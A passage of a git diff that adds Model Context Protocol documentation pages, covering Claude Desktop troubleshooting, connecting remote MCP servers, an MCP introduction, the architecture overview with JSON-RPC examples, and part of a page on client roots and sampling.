+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/2024-11-05/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/2024-11-05/develop/connect-remote-servers.md b/content/mcp/docs/2024-11-05/develop/connect-remote-servers.md
new file mode 100644
index 000000000..addb2128c
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/connect-remote-servers.md
@@ -0,0 +1,122 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar.
+
+ This will display your currently configured connectors and provide options to add new ones.
+
+
+
+ In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process.
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/2024-11-05/getting-started/intro.md b/content/mcp/docs/2024-11-05/getting-started/intro.md
new file mode 100644
index 000000000..e0bb3858b
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/2024-11-05/learn/architecture.md b/content/mcp/docs/2024-11-05/learn/architecture.md
new file mode 100644
index 000000000..ffcb051f6
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/learn/architecture.md
@@ -0,0 +1,463 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2024-11-05/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/2024-11-05/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the HTTP with SSE transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the HTTP with SSE transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to ask the client to sample from the host LLM and log messages to the client
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **HTTP with SSE transport**: Uses Server-Sent Events for server-to-client messages and HTTP POST for client-to-server messages. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Lifecycle management
+
+MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/2024-11-05/basic/lifecycle), and the [example](#example) showcases the initialization sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/createMessage` method to request a language model completion from the client's AI application.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed:
+
+* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations)
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients.
+
+## Example
+
+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features.
+
+
+ ```json Initialize Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "initialize",
+ "params": {
+ "protocolVersion": "2024-11-05",
+ "capabilities": {
+ "sampling": {}
+ },
+ "clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+ ```json Initialize Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "protocolVersion": "2024-11-05",
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ }
+ }
+ ```
+
+
+ #### Understanding the Initialization Exchange
+
+ The initialization process is a key part of MCP's lifecycle management and serves several critical purposes:
+
+ 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2024-11-05") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated.
+
+ 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations.
+
+ 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the capability negotiation demonstrates how MCP primitives are declared:
+
+ **Client Capabilities**:
+
+ * `"sampling": {}` - The client declares it can handle server sampling requests (can receive `sampling/createMessage` method calls)
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ After successful initialization, the client sends a notification to indicate it's ready:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/initialized"
+ }
+ ```
+
+ #### How This Works in AI Applications
+
+ During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates.
+
+ ```python Pseudo-code for AI application initialization theme={null}
+ # Pseudo Code
+ async with stdio_client(server_config) as (read, write):
+ async with ClientSession(read, write) as session:
+ init_response = await session.initialize()
+ if init_response.capabilities.tools:
+ app.register_mcp_server(session, supports_tools=True)
+ app.set_server_ready(session)
+ ```
+
+
+
+ Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list"
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request is simple, containing no parameters.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for session in app.mcp_server_sessions():
+ tools_response = await session.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+
+
+ The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
+
+ #### Understanding the Tool Execution Request
+
+ The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
+
+
+ ```json Tool Call Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "method": "tools/call",
+ "params": {
+ "name": "weather_current",
+ "arguments": {
+ "location": "San Francisco",
+ "units": "imperial"
+ }
+ }
+ }
+ ```
+
+ ```json Tool Call Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 3,
+ "result": {
+ "content": [
+ {
+ "type": "text",
+ "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
+ }
+ ]
+ }
+ }
+ ```
+
+
+ #### Key Elements of Tool Execution
+
+ The request structure includes several important components:
+
+ 1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
+
+ 2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
+ * `location`: "San Francisco" (required parameter)
+ * `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
+
+ 3. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
+
+ #### Understanding the Tool Execution Response
+
+ The response demonstrates MCP's flexible content system:
+
+ 1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
+
+ 2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
+
+ 3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
+
+ This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
+
+ #### How This Works in AI Applications
+
+ When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
+
+ ```python theme={null}
+ # Pseudo-code for AI application tool execution
+ async def handle_tool_call(conversation, tool_name, arguments):
+ session = app.find_mcp_session_for_tool(tool_name)
+ result = await session.call_tool(tool_name, arguments)
+ conversation.add_tool_result(result.content)
+ ```
+
+
+
+ MCP supports real-time notifications that enable servers to inform clients about changes without being explicitly requested. This demonstrates the notification system, a key feature that keeps MCP connections synchronized and responsive.
+
+ #### Understanding Tool List Change Notifications
+
+ When the server's available tools change—such as when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable—the server can proactively notify connected clients:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed"
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Capability-Based**: This notification is only sent by servers that declared `"listChanged": true` in their tools capability during initialization (as shown in Step 1).
+
+ 3. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 4,
+ "method": "tools/list"
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ When the AI application receives a notification about changed tools, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def handle_tools_changed_notification(session):
+ tools_response = await session.list_tools()
+ app.update_available_tools(session, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/2024-11-05/learn/client-concepts.md b/content/mcp/docs/2024-11-05/learn/client-concepts.md
new file mode 100644
index 000000000..e2a53f6c1
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/learn/client-concepts.md
@@ -0,0 +1,150 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Roots
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can be updated dynamically as users work with different projects or folders, with servers receiving notifications through `roots/list_changed` when boundaries change.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client updates the roots list via `roots/list_changed`.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Note over Server,Client: Server initiates sampling
+ Server->>Client: sampling/createMessage
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
